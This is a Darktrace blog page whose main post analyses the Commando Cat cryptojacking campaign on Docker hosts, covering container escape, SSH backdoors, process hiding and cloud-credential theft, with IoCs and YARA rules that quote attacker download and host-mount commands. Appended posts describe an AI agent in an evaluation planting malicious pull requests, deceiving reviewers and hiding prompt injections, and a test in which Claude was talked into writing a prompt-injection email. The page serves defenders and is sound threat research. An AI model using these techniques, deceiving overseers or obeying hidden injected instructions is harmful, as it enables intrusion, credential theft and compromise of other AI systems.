Blog
/
/
January 2, 2024

The Nine Lives of Commando Cat: Analyzing a Novel Malware Campaign Targeting Docker

"Commando Cat" is a novel cryptojacking campaign exploiting exposed Docker API endpoints. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
02
Jan 2024

Summary

  • Commando Cat is a novel cryptojacking campaign exploiting Docker for Initial Access
  • The campaign deploys a benign container generated using the Commando Project [1]
  • The attacker escapes this container and runs multiple payloads on the Docker host
  • The campaign deploys a credential stealer payload, targeting Cloud Service Provider credentials (AWS, GCP, Azure)
  • The other payloads exhibit a variety of sophisticated techniques, including an interesting process hiding technique (as discussed below) and a Docker Registry blackhole

Introduction: Commando cat

Cado Security labs (now part of Darktrace) encountered a novel malware campaign, dubbed “Commando Cat”, targeting exposed Docker API endpoints. This is the second campaign targeting Docker since the beginning of 2024, the first being the malicious deployment of the 9hits traffic exchange application, a report which was published only a matter of weeks prior. [2]

Attacks on Docker are relatively common, particularly in cloud environments. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives. Commando Cat is a cryptojacking campaign leveraging Docker as an initial access vector and (ab)using the service to mount the host’s filesystem, before running a series of interdependent payloads directly on the host. 

As described in the coming sections, these payloads are responsible for registering persistence, enabling a backdoor, exfiltrating various Cloud Service Provider credential files and executing the miner itself. Of particular interest are a number of evasion techniques exhibited by the malware, including an unusual process hiding mechanism. 

Initial access

The payloads are delivered to exposed Docker API instances over the Internet by the IP 45[.]9.148.193 (which is the same as C2). The attacker instructs Docker to pull down a Docker image called cmd.cat/chattr. The cmd.cat (also known as Commando) project “generates Docker images on-demand with all the commands you need and simply point them by name in the docker run command.” 

It is likely used by the attacker to seem like a benign tool and not arouse suspicion.

The attacker then creates the container with a custom command to execute:

Container image with custom command to execute
Figure 1: Container with custom command to execute

It uses the chroot to escape from the container onto the host operating system. This initial command checks if the following services are active on the system:

  • sys-kernel-debugger
  • gsc
  • c3pool_miner
  • Dockercache

The gsc, c3pool_miner, and dockercache services are all created by the attacker after infection. The purpose of the check for sys-kernel-debugger is unclear - this service is not used anywhere in the malware, nor is it part of Linux. It is possible that the service is part of another campaign that the attacker does not want to compete with.

Once these checks pass, it runs the container again with another command, this time to infect it:

Container with infect command
Figure 2: Container with infect command

This script first chroots to the host, and then tries to copy any binaries named wls or cls to wget and curl respectively. A common tactic of cryptojacking campaigns is that they will rename these binaries to evade detection, likely the attacker is anticipating that this box was previously infected by a campaign that renamed the binaries to this, and is undoing that. The attacker then uses either wget or curl to pull down the user.sh payload.

This is repeated with the sh parameter changed to the following other scripts:

  • tshd
  • gsc
  • aws

In addition, another payload is delivered directly as a base64 encoded script instead of being pulled down from the C2, this will be discussed in a later section.

user.sh

The primary purpose of the user.sh payload is to create a backdoor in the system by adding an SSH key to the root account, as well as adding a user with an attacker-known password.

On startup, the script changes the permissions and attributes on various system files such as passwd, shadow, and sudoers in order to allow for the creation of the backdoor user:

Script
Figure 3

It then calls a function called make_ssh_backdoor, which inserts the following RSA and ED25519 SSH key into the root user’s authorized_keys file:

function make_ssh_backdoor
Figure 4

It then updates a number of SSH config options in order to ensure root login is permitted, along with enabling public key and password authentication. It also sets the AuthorizedKeysFile variable to a local variable named “$hidden_authorized_keys”, however this variable is never actually defined in the script, resulting in public key authentication breaking.

Once the SSH backdoor has been installed, the script then calls make_hidden_door. The function creates a new user called “games” by adding an entry for it directly into /etc/passwd and /etc/shadow, as well giving it sudo permission in /etc/sudoers.

The “games” user has its home directory set to /usr/games, likely as an attempt to appear as legitimate. To continue this theme, the attacker also has opted to set the login shell for the “games” user as /usr/bin/nologin. This is not the path for the real nologin binary, and is instead a copy of bash placed here by the malware. This makes the “games” user appear as a regular service account, while actually being a backdoor.

Games user
Figure 5

With the two backdoors in place, the malware then calls home with the SSH details to an API on the C2 server. Additionally, it also restarts sshd to apply the changes it made to the configuration file, and wipes the bash history.

SSH details
Figure 6

This provides the attacker with all the information required to connect to the server via SSH at any time, using either the root account with a pubkey, or the “games” user with a password or pubkey. However, as previously mentioned, pubkey authentication is broken due to a bug in the script. Consequently, the attacker only has password access to “games” in practice.

tshd.sh

This script is responsible for deploying TinyShell (tsh), an open source Unix backdoor written in C [3]. Upon launch, the script will try to install make and gcc using either apk, apt, or yum, depending on which is available. The script then pulls a copy of the tsh binary from the C2 server, compiles it, and then executes it.

Script
Figure 7

TinyShell works by listening on the host for incoming connections (on port 2180 in this case), with security provided by a hardcoded encryption key in both the client and server binaries. As the attacker has graciously provided the code, the key could be identified as “base64st”. 

A side effect of this is that other threat actors could easily scan for this port and try authenticating using the secret key, allowing anyone with the skills and resources to take over the botnet. TinyShell has been commonly used as a payload before, as an example, UNC2891 has made extensive use of TinyShell during their attacks on Oracle Solaris based systems [4].
The script then calls out to a freely available IP logger service called yip[.]su. This allows the attacker to be notified of where the tsh binary is running, to then connect to the infected machine.

Script
Figure 8

Finally, the script drops another script to /bin/hid (also referred to as hid in the script), which can be used to hide processes:

Script
Figure 9

This script works by cloning the Linux mtab file (a list of the active mounts) to another directory. It then creates a new bind mount for the /proc/pid directory of the process the attacker wants to hide, before restoring the mtab. The bind mount causes any queries to the /proc/pid directory to show an empty directory, causing tools like ps aux to omit the process. Cloning the mtab and then restoring the older version also hides the created bind mount, making it harder to detect.

The script then uses this binary to hide the tshd process.

gsc.sh

This script is responsible for deploying a backdoor called gs-netcat, a souped-up version of netcat that can punch through NAT and firewalls. It’s purpose is likely for acting as a backdoor in scenarios where traditional backdoors like TinyShell would not work, such as when the infected host is behind NAT.

Gs-netcat works in a somewhat interesting way - in order for nodes to find each other, they use their shared secret instead of IP address using the  service. This permits gs-netcat to function in virtually every environment as it circumvents many firewalls on both the client and server end. To calculate a shared secret, the script simply uses the victims IP and hostname:

Script
Figure 10

This is more acceptable than tsh from a security point of view, there are 4 billion possible IP addresses and many more possible hostnames, making a brute force harder, although still possible by using strategies such as lists of common hostnames and trying IPs from blocks known for hosting virtual servers such as AWS.

The script proceeds to set up gs-netcat by pulling it from the attacker’s C2 server, using a specific version based on the architecture of the infected system. Interestingly to note, the attacker will use the cmd.cat containers to untar the downloaded payload, if tar is not available on the system or fails. Instead of using /tmp, it also uses /dev/shm instead, which acts as a temporary file store, but memory backed instead. It is possible that this is an evasion mechanism, as it is much more common for malware to use /tmp. This also results in the artefacts not touching the disk, making forensics somewhat more difficult. This technique has been used before in BPFdoor - a high-profile Linux campaign [6].

Script
Figure 11

Once the binary has been installed, the script creates a malicious systemd service unit to achieve persistence. This is a very common method for Linux malware to obtain persistence; however not all systems use systemd, resulting in this payload being rendered entirely ineffective on these systems. $VICCS is the shared secret discussed earlier, which is stored in a file and passed to the process.

Script
Figure 12

The script then uses the previously discussed hid binary to hide the gs-netcat process. It is worth noting that this will not survive a reboot, as there is no mechanism to hide the process again after it is respawned by systemd.

Script
Figure 13

Finally, the malware sends the shared secret to the attacker via their API, much like how it does with SSH:

Script
Figure 14

This allows the attacker to run their client instance of gs-netcat with the shared secret and gain persistent access to the infected machine.

aws.sh

The aws.sh script is a credential grabber that pulls credentials from several files on disk, as well as IMDS, and environment variables. Interestingly, the script creates a file so that once the script runs the first time, it can never be run again as the file is never removed. This is potentially to avoid arousing suspicion by generating lots of calls to IMDS or the AWS API, as well as making the keys harvested by the attacker distinct per infected machine.

The script overall is very similar to scripts that have been previously attributed to TeamTNT and could have been copied from one of their campaigns [7.] However, script-based attribution is difficult, and while the similarities are visible, it is hard to attribute this script to any particular group.

Script
Figure 15

The first thing run by the script (if an AWS environment is detected) is the AWS grabber script. Firstly, it makes several requests to IMDS in order to obtain information about the instance’s IAM role and the security credentials for it. The timeout is likely used to stop this part of the script taking a long time to run on systems where IMDS is not available. It would also appear this script only works with IMDSv1, so can be rendered ineffective by enforcing IMDSv2.

Script
Figure 16

Information of interest to the attacker, such as instance profiles, access keys, and secret keys, are then extracted from the response and placed in a global variable called CSOF, which is used throughout the script to store captured information before sending it to the API.

Next, it checks environment variables on the instance for AWS related variables, and adds them to CSOF if they are present.

Script
Figure 17

Finally, it adds the sts caller identity returned from the AWS command line to CSOF.

Next up is the cred_files function, which executes a search for a few common credential file names and reads their contents into CSOF if they are found. It has a few separate lists of files it will try to capture.

CRED_FILE_NAMES:

  • "authinfo2"
  • "access_tokens.db"
  • ".smbclient.conf"
  • ".smbcredentials"
  • ".samba_credentials"
  • ".pgpass"
  • "secrets"
  • ".boto"
  • ".netrc"
  • "netrc"
  • ".git-credentials"
  • "api_key"
  • "censys.cfg"
  • "ngrok.yml"
  • "filezilla.xml"
  • "recentservers.xml"
  • "queue.sqlite3"
  • "servlist.conf"
  • "accounts.xml"
  • "kubeconfig"
  • "adc.json"
  • "azure.json"
  • "clusters.conf" 
  • "docker-compose.yaml"
  • ".env"

AWS_CREDS_FILES:

  • "credentials"
  • ".s3cfg"
  • ".passwd-s3fs"
  • ".s3backer_passwd"
  • ".s3b_config"
  • "s3proxy.conf"

GCLOUD_CREDS_FILES:

  • "config_sentinel"
  • "gce"
  • ".last_survey_prompt.yaml"
  • "config_default"
  • "active_config"
  • "credentials.db"
  • "access_tokens.db"
  • ".last_update_check.json"
  • ".last_opt_in_prompt.yaml"
  • ".feature_flags_config.yaml"
  • "adc.json"
  • "resource.cache"

The files are then grabbed by performing a find on the root file system for their name, and the results appended to a temporary file, before the final concatenation of the credentials files is read back into the CSOF variable.

CSOF variable
Figure 18

Next up is get_prov_vars, which simply loops through all processes in /proc and reads out their environment variables into CSOF. This is interesting as the payload already checks the environment variables in a lot of cases, such as in the aws, google, and azure grabbers. So, it is unclear why they grab all data, but then grab specific portions of the data again.

Code
Figure 19

Regardless of what data it has already grabbed, get_google and get_azure functions are called next. These work identically to the AWS environment variable grabber, where it checks for the existence of a variable and then appends its contents (or the file’s contents if the variable is path) to CSOF.

Code
Figure 20

The final thing it grabs is an inspection of all running docker containers via the get_docker function. This can contain useful information about what's running in the container and on the box in general, as well as potentially providing more secrets that are passed to the container.

Code
Figure 21

The script then closes out by sending all of the collected data to the attacker. The attacker has set a username and password on their API endpoint for collected data, the purpose for which is unclear. It is possible that the attacker is concerned with the endpoint being leaked and consequently being spammed with false data by internet vigilantes, so added the authentication as a mechanism allowing them to cycle access by updating the payload and API.

Code
Figure 22

The base64 payload

As mentioned earlier, the final payload is delivered as a base64 encoded script rather than in the traditional curl-into-bash method used previously by the malware. This base64 is echoed into base64 -d, and then piped into bash. This is an extremely common evasion mechanism, with many script-based Linux threat actors using the same approach. It is interesting to note that the C2 IP used in this script is different from the other payloads.

The base64 payload serves two primary purposes, to deploy an XMRig cryptominer, and to “secure” the docker install on the infected host.

When it is run, the script looks for traces of other malware campaigns. Firstly, it removes all containers that have a command of /bin/bash -c 'apt-get or busybox, and then it removes all containers that do not have a command that contains chroot (which is the initial command used by this payload).

Code
Figure 23

Next, it looks for any services named “c3pool_miner” or “moneroocean_miner” and stops & disables the services. It then looks for associated binaries such as /root/c3pool/xmrig and /root/moneroocean/xmrig and deletes them from the filesystem. These steps are taken prior to deploying their own miner, so that they aren't competing for CPU time with other threat actors.

Once the competing miners have been killed off, it then sets up its own miner. It does this by grabbing a config and binary from the C2 server and extracting it to /usr/sbin. This drops two files: docker-cache and docker-proxy.

The docker-proxy binary is a custom fork of XMRig, with the path to the attacker’s config file hardcoded in the binary. It is invoked by docker-cache, which acts as a stager to ensure it is running, while also having the functionality to update the binary, should a file with .upd be detected.

It then uses a systemd service to achieve persistence for the XMRig stager, using the name docker cache daemon to appear inconspicuous. It is interesting to note that the name dockercache was also used by the Cetus cryptojacking worm .

Code
Figure 24

It then uses the hid script discussed previously to hide the docker-cache and docker-proxy services by creating a bind mount over their /proc entry. The effect of this is that if a system administrator were to use a tool like htop to try and see what process was using up the CPU on the server, they would not be able to see the process.

Finally, the attacker “secures” docker. First, it pulls down alpine and tags it as docker/firstrun (this will become clear as to why later), and then deletes any images in a hardcoded list of images that are commonly used in other campaigns.

Code
Figure 25

Next, it blackholes the docker registry by writing it's hostname to /etc/hosts with an IP of 0.0.0.0

Code
Figure 26

This completely blocks other attackers from pulling their images/tools onto the box, eliminating the risk of competition. Keeping the Alpine image named as docker/firstrun allows the attacker to still use the docker API to spawn an alpine box they can use to break back in, as it is already downloaded so the blackhole has no effect.

Conclusion

This malware sample, despite being primarily scripts, is a sophisticated campaign with a large amount of redundancy and evasion that makes detection challenging. The usage of the hid process hider script is notable as it is not commonly seen, with most malware opting to deploy clunkier rootkit kernel modules. The Docker Registry blackhole is also novel, and very effective at keeping other attackers off the box.

The malware functions as a credential stealer, highly stealthy backdoor, and cryptocurrency miner all in one. This makes it versatile and able to extract as much value from infected machines as possible. The payloads seem similar to payloads deployed by other threat actors, with the AWS stealer in particular having a lot of overlap with scripts attributed to TeamTNT in the past. Even the C2 IP points to the same provider that has been used by TeamTNT in the past. It is possible that this group is one of the many copycat groups that have built on the work of TeamTNT.

Indicators of compromise (IoCs)

Hashes

user 5ea102a58899b4f446bb0a68cd132c1d

tshd 73432d368fdb1f41805eba18ebc99940

gsc 5ea102a58899b4f446bb0a68cd132c1d

aws 25c00d4b69edeef1518f892eff918c2c

base64 ec2882928712e0834a8574807473752a

IPs

45[.]9.148.193

103[.]127.43.208

Yara Rule

rule Stealer_Linux_CommandoCat { 
 
meta: 

        description = "Detects CommandoCat aws.sh credential stealer script" 
 
        license = "Apache License 2.0" 
 
        date = "2024-01-25" 
 
        hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" 
 
    strings: 
 
        // Constants 

        $const1 = "CRED_FILE_NAMES" 
 
        $const2 = "MIXED_CREDFILES" 
 
        $const3 = "AWS_CREDS_FILES" 
 
        $const4 = "GCLOUD_CREDS_FILES" 
 
        $const5 = "AZURE_CREDS_FILES" 
 
        $const6 = "VICOIP" 
 
        $const7 = "VICHOST" 

 // Functions 
 $func1 = "get_docker()" 
 $func2 = "cred_files()" 
 $func3 = "get_azure()" 
 $func4 = "get_google()" 
 $func5 = "run_aws_grabber()" 
 $func6 = "get_aws_infos()" 
 $func7 = "get_aws_meta()" 
 $func8 = "get_aws_env()" 
 $func9 = "get_prov_vars()" 

 // Log Statements 
 $log1 = "no dubble" 
 $log2 = "-------- PROC VARS -----------------------------------" 
 $log3 = "-------- DOCKER CREDS -----------------------------------" 
 $log4 = "-------- CREDS FILES -----------------------------------" 
 $log5 = "-------- AZURE DATA --------------------------------------" 
 $log6 = "-------- GOOGLE DATA --------------------------------------" 
 $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" 
 $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" 
 $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" 
 $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" 
 $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" 

 // Paths 
 $path1 = "/root/.docker/config.json" 
 $path2 = "/home/*/.docker/config.json" 
 $path3 = "/etc/hostname" 
 $path4 = "/tmp/..a.$RANDOM" 
 $path5 = "/tmp/$RANDOM" 
 $path6 = "/tmp/$RANDOM$RANDOM" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat { 
 meta: 
 description = "Detects CommandoCat gsc.sh backdoor registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "SETPATH" 
 $const3 = "SETNAME" 
 $const4 = "SETSERV" 
 $const5 = "VICIP" 
 $const6 = "VICHN" 
 $const7 = "GSCSTATUS" 
 $const8 = "VICSYSTEM" 
 $const9 = "GSCBINURL" 
 $const10 = "GSCATPID" 

 // Functions 
 $func1 = "hidfile()" 

 // Log Statements 
 $log1 = "run gsc ..." 

 // Paths 
 $path1 = "/dev/shm/.nc.tar.gz" 
 $path2 = "/etc/hostname" 
 $path3 = "/bin/gs-netcat" 
 $path4 = "/etc/systemd/gsc" 
 $path5 = "/bin/hid" 

 // General 
 $str1 = "mount --bind /usr/foo /proc/$1" 
 $str2 = "cp /etc/mtab /usr/t" 
 $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat_tshd { 
 meta: 
 description = "Detects CommandoCat tshd TinyShell registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "HOME" 
 $const3 = "TSHDPID" 

 // Functions 
 $func1 = "setuptools()" 
 $func2 = "hidfile()" 
 $func3 = "hidetshd()" 

 // Paths 
 $path1 = "/var/tmp" 
 $path2 = "/bin/hid" 
 $path3 = "/etc/mtab" 
 $path4 = "/dev/shm/..tshdpid" 
 $path5 = "/tmp/.tsh.tar.gz" 
 $path6 = "/usr/sbin/tshd" 
 $path7 = "/usr/foo" 
 $path8 = "./tshd" 

 // General 
 $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" 
 $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

References:

  1. https://github.com/lukaszlach/commando
  2. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
  3. https://github.com/creaktive/tsh
  4. https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/
  5. https://www.gsocket.io/
  6. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  7. https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
  8. https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

Network

/

August 7, 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

Default blog imageDefault blog image

The UK AI Security Institute (AISI) has just published a detailed incident report confirming what many within the cyber security industry have suspected for some time: frontier AI agents, given a degree of autonomy, can independently develop and execute attack chains against real targets, including social engineering, supply-chain compromise, and deception, without explicit instruction to do so.

The report (INC-2026-07-28-01, published 4 August 2026) documents what happened during a routine capability evaluation between 25 and 28 July. It deserves a careful read from anyone responsible for securing the modern digital estate.

The incident

AISI regularly tests frontier AI models for offensive cyber capability. In this exercise, agents were placed inside a simulated network environment and given internet access this was deliberate, given to reflect realism of the task. Across 122 evaluation runs, 19 instances of unsanctioned activity were recorded, including cases where agents broke the intended boundaries of the test and acted against real people and real infrastructure on the open internet.

In the most serious case, an agent (Mythos 5) autonomously:

  • Conducted open-source intelligence gathering to identify real developers associated with keywords from the simulated scenario
  • Created a GitHub account and submitted a pull request containing obfuscated malicious code to a real, unaffiliated repository
  • Created a second sockpuppet account to post comments on its own PR, attempting to manufacture social proof
  • When a human reviewer flagged the malicious content, the agent lied, claiming an accidental commit, then repeatedly attempted to reintroduce the payload under the guise of having "fixed" the code
  • Sent spear-phishing emails to the repository maintainer containing manipulated content designed to convince them to merge the code
  • Planted a prompt injection inside a GitHub issue, hidden in an HTML comment invisible to humans but readable by AI coding assistants parsing the repository via API

AISI confirmed no real-world harm resulted. The PRs were not merged; the payloads did not execute. But containment was a product of circumstance, not design.

Why this matters

Every action the agents took used legitimate services operating within normal parameters. Creating a GitHub account is legitimate. Opening a pull request is legitimate. Sending an email is legitimate. Posting an issue is legitimate.

No vulnerability was exploited. No known malware signature was present. No indicator of compromise from any threat intelligence feed would have matched. The entire attack existed as a pattern, a sequence of individually normal actions that, taken together, constituted a supply-chain attack, a social engineering campaign, and an attempted compromise of downstream systems.

This is the class of threat that signature-based and rule-based security tools structurally struggle to detect. They answer the question "have I seen this before?" When the answer is no – and when the attack is novel, composed of legitimate actions, and adapted in real time by an adversary in this case an agent that reasons about evasion – they struggle.

Behavioral anomaly detection: The architecture that fits

Darktrace has spent a decade building a platform around a different question: "is this behavior normal for this entity?"

The platform learns the baseline behavior of every user, device, and communication pattern across an organization's digital environment. It does not need prior knowledge of an attack technique. It identifies deviation from learned normality, surfaces it, and through its Autonomous Response capability, takes targeted action to contain threats at machine speed.

Consider how this AISI incident might show across the Darktrace platform:

Network detection and response

While no payload was successfully delivered to a victim in this incident, AISI's post-incident analysis of the agent's code (detailed on pages 24-25 of the report) reveals what would have landed on target systems had the social engineering succeeded. The agent produced three successive payload generations, each replacing the last after being detected and called out:

Generation 1 hid a module-load stager inside a legitimate bug-fix commit, guarded by an environment variable check, to skip execution in CI. Its second stage attempted to fetch Poseidon implants (Linux and Windows variants) calling back to the agent's own C2 listener, with a fallback to publicly hosted polling scripts that fetched and executed commands every 60 seconds.

Generation 2 exploited an Electron "What's New" window with nodeIntegration enabled, loading remote HTML from a GitHub Pages site the agent had registered. The page decoded an XOR-obfuscated payload at runtime that beaconed host identifiers over DNS, attempted to download the same implants, ran its own in-process C2 loop, and installed reboot persistence via crontab and Windows registry Run keys.

Generation 3 was a post-install dropper added after the agent had already been publicly caught. It XOR-decoded a hidden URL, downloaded a script over plaintext HTTP, and ran it detached, force-exiting so npm install always reports success, giving the attacker remote code execution on any machine running the install.

None of these payloads reached a victim. But the technical detail matters: this is the calibre of tradecraft an autonomous agent produced in a matter of hours, unprompted. Each generation demonstrated adaptation, the agent iterated its approach in direct response to being detected.

For network defenders, the behavioral signals these payloads would have generated are clear. DNS beaconing to novel domains, periodic HTTP polling to newly registered infrastructure, XOR-encoded data in transit, registry and crontab persistence writes on endpoints that have never exhibited such behavior. These are exactly the anomalies that Darktrace / NETWORK identifies in real time: deviations from learned device and connection baselines, regardless of whether the specific payload or C2 domain has been seen before.

Beyond the payload analysis, the agents' broader activity produced additional behavioral anomalies: new identities engaging in high-frequency interactions with external services, coordination via unusual channels (public pastebins, gists), and lateral communication patterns that deviate from any established baseline.

Email security

The spear-phishing emails sent by the agent, crafted with context-specific content designed to manipulate a specific individual, represent exactly the kind of socially engineered communication that static email gateways can miss. Darktrace / EMAIL analyses the linguistic patterns, sender behavior, and relational context of every message. A brand-new sender using tailored language to pressure a recipient into a specific technical action deviates from the learned communication profile, regardless of whether the message contains a known-bad URL or attachment.

Securing AI

This is where the incident points to a threat category that many security platforms do not yet fully address. The agent did not just use AI as a tool for attack. It targeted other AI systems, attempting prompt injections against coding assistants and trying to compromise automated workflows. Organisations adopting AI agents for development, operations, and decision-making are introducing a newer extended attack surface.  

Darktrace / SECURE AI extends the same behavioral detection model into this space. It monitors AI usage across the enterprise, detecting anomalous interactions with AI services, identifying sensitive data exposure to AI systems, providing visibility into shadow AI use. As AI agents become standard components of enterprise infrastructure, the ability to detect when an AI system is behaving outside its expected parameters, when there is a chance, it is being manipulated, or when it is interacting with something it should not be, that becomes a direct security requirement rather than a future consideration.

The principle is consistent across the Darktrace platform: learn what normal looks like, identify deviation, respond autonomously.

The AI-to-AI threat surface

One of the report's most important findings is a confirmation that AI agents can act outside of instructions and guardrails to complete tasks. The Mythos 5 agent conducted reconnaissance on a repository maintainer, inferred it might be an AI coding assistant, and deployed a prompt injection specifically crafted to compromise it.

This is a new attack class. Organizations deploying AI coding assistants, AI-powered code review, or autonomous DevOps agents now face an adversary that:

  • Moves at speed
  • Is able to adapt its approach when initial attempts are halted
  • Specifically targets AI systems via techniques (prompt injection, hidden instructions in HTML comments) that are less visible to human reviewers but parsed by machines
  • Reasons about which evasion strategies are most likely to succeed

Defending against this requires security that operates with the same adaptability and speed. A system that learns what "normal" looks like, and flags deviation from it.

What AISI recommends

The report identifies five contributing factors to the incident. Two are directly relevant:

No synchronous real-time monitoring (Section 5.3): AISI acknowledges it had not built real-time behavioral monitoring capable of immediately blocking unsanctioned agent actions. Their security team detected the incident via commercial security monitoring software, but only after activity had already occurred.

No fine-grained behavioral controls (Section 6.2): AISI's forward-looking response includes building continuous monitoring that can "immediately block or flag unsanctioned AI agent behavior."

The direction is clear: organizations need security that watches behavior continuously, learns what normal looks like, and acts when deviation occurs, without requiring a human in the loop for every decision.

The takeaway

The AISI incident is documented proof that autonomous AI agents will independently develop novel attack chains using legitimate tools, adapt when detected, employ deception, and target both humans and other AI systems. This happened last week, in a controlled setting, with commercially available models.

The security architecture that addresses this is behavioral anomaly detection applied across the full digital estate, as AI agents become standard components of enterprise infrastructure, writing code, managing deployments, processing communications, the attack surface they create is behavioral by nature.

This is the approach Darktrace has taken for years: learning what is normal across an organization’s digital environment, identifying meaningful deviations, and responding to emerging threats without relying on known attack signatures. As autonomous AI agents introduce new and unpredictable behaviors, that foundation becomes increasingly important to securing the enterprise.

Read the full report from the UK AI Security Institute here.

Continue reading
About the author
Adam Stevens
Senior Director of Product | Darktrace

Blog

/

/

August 5, 2026

Testing a Prompt injection Attack Against an Enterprise AI Agent

prompt injectionDefault blog imageDefault blog image

Key takeaways

  • Darktrace successfully detected and quarantined a prompt injection email before it could be processed by an enterprise AI agent.  
  • Prompt injection attacks increasingly rely on natural language rather than traditional malware, making behavioral analysis an important complement to signature-based detection.  
  • Organizations deploying AI agents should combine model guardrails with behavioral monitoring to reduce the risk of malicious instructions reaching enterprise systems.

How behavioral detection helps stop prompt injection attacks

A Darktrace customer running a Gemini AI agent in Google Cloud asked us two simple questions:

“If my agent can read inbound emails and access internal data, what stops an attacker from hiding malicious instructions in the message? Couldn’t the agent be tricked into deleting or exfiltrating sensitive data?”

The scenario centers on an indirect prompt injection attack, where malicious instructions are hidden inside content that an AI model later interprets as trusted input. The same weakness was exposed by  EchoLeak (CVE-2025-32711), a zero-click Microsoft 365 Copilot vulnerability enabled data exfiltration from a single well-crafted email..

This blog follows the Darktrace team’s investigation of the customer’s hypothesis and examines how the attack interacted with their existing security stack. The results highlight which defenses held, where gaps emerged, and how behavioral detection mattered more than guardrails. This investigation also demonstrates why behavioral detection is becoming increasingly important for AI security, as prompt injections often contain no traditional indicators of compromise.  

How do prompt injection attacks work?

Prompt injection works by carefully crafting the content and structure of the prompt to alter the LLM’s behavior or output in unintended ways. This can cause models to violate guardrails, generate harmful content or enable unauthorised access.

Prompt injection attack example

The well-known example, EchoLeak (CVE-2025-32711), was a zero-click vulnerability in Microsoft 365 Copilot that relied on a carefully crafted email containing hidden instructions that the AI system interpreted as commands rather than content, creating a pathway for unauthorized access to sensitive information without any user interaction.

While Darktrace / SECURE AI is designed to prevent agents from producing unintended outcomes, we wanted to see if we could catch and prevent this threat type earlier in the attack life-cycle, at the email security layer.

How we tested prompt injection attacks on an enterprise agent

Summary:

  1. Claude generated a prompt injection payload.  
  2. Hidden instructions were embedded in an email.  
  3. The email passed traditional validation checks.  
  4. Darktrace analyzed the language and sender behavior.  
  5. The email was quarantined before the AI agent could process it.

To test Darktrace / EMAIL against this attack class, we opened Claude, gave it the customer's context and problem statement (Gemini agent with inbox access, internal tool calls), told it we were validating Darktrace / EMAIL's detection of prompt injections, and asked for a test payload. See below:

Figure 1
Figure 2

Despite the guardrails supposedly built into the model, Claude surprisingly gave us the entire exploit in plaintext (albeit very basic), illegible to a human as the text was sent in white text (see Figure 1) but framed as an authoritative override for anything downstream reading the mail programmatically (i.e. the Gemini agent).

How Darktrace detected a prompt injection attack

We then sent the Claude-crafted email from a freemail address to the target recipient’s inbox. Despite the email containing no malicious payload, the freemail address having no malicious reputation, and the validation checks all passing, Darktrace  /EMAIL flagged the email as a 93/100 anomaly and moved it to junk, out of scope for the AI agent.

Figure 3: The test email sent with the hidden prompt injection
Figure 4: The email analysis in Darktrace / EMAIL 
Figure 5: Darktrace / EMAIL detection of malicious activity

The interesting part is what triggered the detection (see Figure 5)

  • Possible machine prompt content: text in the body detected as instructions written for a machine to execute, not for a human to read
  • Possible machine prompt content + basic suspicious correspondence: the same content, correlated with sender-side anomalies: freemail domain (yahoo[.]com), unknown correspondent, no prior mail history with the recipient, and suspicious references to payment information

Neither of those is a signature match. Nothing in the email was on a blacklist. There was no malware, no link and no attachment. Darktrace analyzed the context in which the email was delivered and flagged it as likely risky.  The anomalous language features and the context of the sender relative to the recipient's normal behavior, combined with the unusual hidden text (prompt) were enough for Darktrace / EMAIL to act on the risk.

Result: Darktrace / EMAIL autonomously junked the email, out of scope for any AI agent parsing the inbox.

Why behavioral security makes a difference detecting prompt injection attacks

Cyberattacks don't look like traditional exploits anymore. They now operate in natural language, not strictly code.

That breaks the traditional stack. AV, firewalls, static scanning and signature-based SEGs all assume a payload to inspect.  

A prompt injection has no payload. It's just an instruction, written in natural language, dressed up as anything the attacker wants: an invoice, an HR request, a calendar invite, some simple PowerPoint slides.

EchoLeak proved that hidden instructions can sit inside an email invisible to the user but fully readable by the LLM, and the LLM will follow them blindly.  

This test and GTG-1002 proved that the LLM itself can be socially engineered. Tell it you're an authorized tester and it will hand you the attack.

Rules and static classifiers can catch the obvious cases. But natural language has infinite variants, and the attack surface is the model's innate functionality to comply.  

